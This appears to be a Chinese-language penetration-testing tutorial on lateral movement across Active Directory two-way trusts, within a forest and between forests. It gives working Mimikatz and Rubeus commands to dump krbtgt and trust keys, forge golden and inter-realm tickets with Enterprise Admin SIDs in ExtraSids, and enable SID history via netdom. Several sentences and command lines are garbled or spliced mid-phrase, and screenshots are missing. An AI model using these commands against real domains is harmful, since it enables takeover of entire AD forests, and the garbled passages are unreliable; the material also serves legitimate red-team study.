Skip to main content

双向信任

在之前有了上一小节的理论基础,我们讨论了当前域中的利用手法,然而在实际的企业组织中,我们会面临多个域、多个森林。我们当前所在的域,会有父域、子域、具有信任关系的森林等。那么接下来,我们会逐一讨论各种情况。首先,我们讨论双向信任实现域间的移动。因为双向信任既可以发生于森林之内这种情况存在也可以发生同一森林之间,例如父域与子域、不同子域之间(例如child1.red.local与child2.red.local)、以及森林之间。但在正式因此我们分别讨论之前,我们需要明确一些概念与名词,帮助我们更好理解。如果依旧对以下的名次与概念有些迷惑,那也不要紧,我们会在后续的实际攻击中加深理解

森林之内

森林之内的横向移动是最简单的情形,因为信任是相互的,例如从子域移动到父域。我们有 2 种方式在森林之内移动,分别是利用 krbtgt 以及信任密钥我们不妨在 Dc01 上进行利 powerview 来枚举一下域信任,虽然我们是知道预期结果的。SoureName 是当前域,TargetName 是外部域,WITHIN_FOREST 说明是森林之内的信任,Bidirectional 是指双向信任

image.pngimage.png

krbtgt 

1:由于信任在 AD 森林中的作用方式,sidHistory 属性 (PAC 中的 ExtraSids) 在森林的域中是起作用的,因为些 SID 不会在跨域引用中被 SID 过滤器过滤掉。因此,将 sidHistory/ExtraSids 设置为根域中的企业管理员的 SID 能够奏效,就好像他们真的是企业管理员一样。Microsoft 已知道这是一个问题,因此 sidHistory 是一个受保护的属性,很难修改,在以前对其的利用也是相当复杂的。
现在我们只需要一句话利有了 Mimikatz/Rubeus 的黄金票据模块,攻击者可以为伪造的票据设置 KERB_VALIDATION_INFO 结构体 (该结构“定义了 DC 提供的即可。在 mimikatz户登录和授权信息)ExtraSids 部分先获得ExtraSids krbtgt被描述为指向 KERB_SID_AND_ATTRIBUTES 结构体列表凭证指针,该结构包含与主体所属域以外的域中的组相对应的 SID 列表

因此,如果攻击者在森林中的任何子域中能有权限检索子域的 krbtgt 哈希,将根域的企业管理员的 SID 添加到 Mimikatz 伪造的黄金票据中,便可以接管整片森林。

但,这仅适用于在森林内的双向信任,由于 SID 过滤,这不适用于森林直接的双向信任。我们来看看利用的过程:

获得子域的 krbtgt 密钥:

image.pngimage.png

2:利用将 ExtraSids 设置为企业管理员的 SID 历史

kerberos::

Rubeus.exe golden /aes256:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /user:Administrator /domain:<当前域> prod.raven-med.local /sid:<当前域SID>S-1-5-21-1674258736-4167122442-1078531953 /sids:<目标域EA的SID>S-1-5-21-3775014555-2484002919-2799327105-512 /krbtgt:<krbtgtnowrap NTLM>
/ptt

image.png

创建牺牲会话、导入票据以及验证访问。

image.png

3:验证访问

image.pngimage.png


信任密钥

1:在 mimikatz 中,首先我们需要得到信任密钥,通过下述命令之一获得:

mimikatz lsadump::dcsync  /doimain:<当前域>domain:prod.raven-med.local /user:<父域$>,或者命令raven-med$
mimikatz lsadump::lsatrust /patch 得到。

如下图所示,得到的密钥是一致的。如果用的后者,寻找 [In] 信任密钥。

image.pngimage.png

image.pngimage.png

2:接下来,我们需要申请跨域 TGT (inter-realm TGT)

kerberos::golden /domain:<当前域> /sid:<当前域SID> /sids:<外部域EA的SID> /rc4:<信任密钥> /user:Administrator /service:krbtgt /target:<目标域>  /ticket:<票据位置>

image.png

3:最后,使用Rubeus 申请 TGS

rubeus.exe asktgs /ticket:<生成的票据> /service:cifs/<目标域控fqdb> /dc:<目标域控 fqdn > /ptt

image.png

4:最后,导入票据并验证访问

image.png


森林之间


请记住,森林是 AD 中安全的边界,而域不是,因此利用森林直接的双向信任我们会遇到其他的限制。我们在 Dc02 上试图通过利用森林间的双向信任移动到 White-bird 域中。

对于具有双向信任的森林之间的移动,步骤整体相似,但是一小节我们提到了 SID 过滤器,因此我们需要寻找出 RID ≥1000 的组。最终,以上的命令看起来应该是这样

kerberos::golden /user:Administrator /domain:red.local /sid:S-1-5-21-3657428294-2017276338-1274645009 /rc4:799a0ae7e6ce96369aa7f1e9da25175a /service:krbtgt /target:sec.local /sids:S-1-5-21-4066061358-3942393892-617142613-1103 /ticket:C:\Windows\tasks\intkey.kirbi

或者

kerberos::golden /user:administrator /domain:htb.local /sid:S-1-5-21-3657428294-2017276338-1274645009 /krbtgt:799a0ae7e6ce96369aa7f1e9da25175a /sids:S-1-5-21-4066061358-3942393892-617142613-1103 /ptt

在森林之间,SID 历史有时候需要禁用状态的,这需要目标 DC 启用 SID 历史 (启用SID 历史意味着禁用 SID 过滤器,反之亦然)。

如果试图在 red.local sec.local 森林之间移动,开启 SID 历史的命令如下

在 red.local:netdom trust red.local /d:sec.local /enablesidhistory:yes

在 sec.local:netdom trust sec.local /d:red.local /enablesidhistory:yes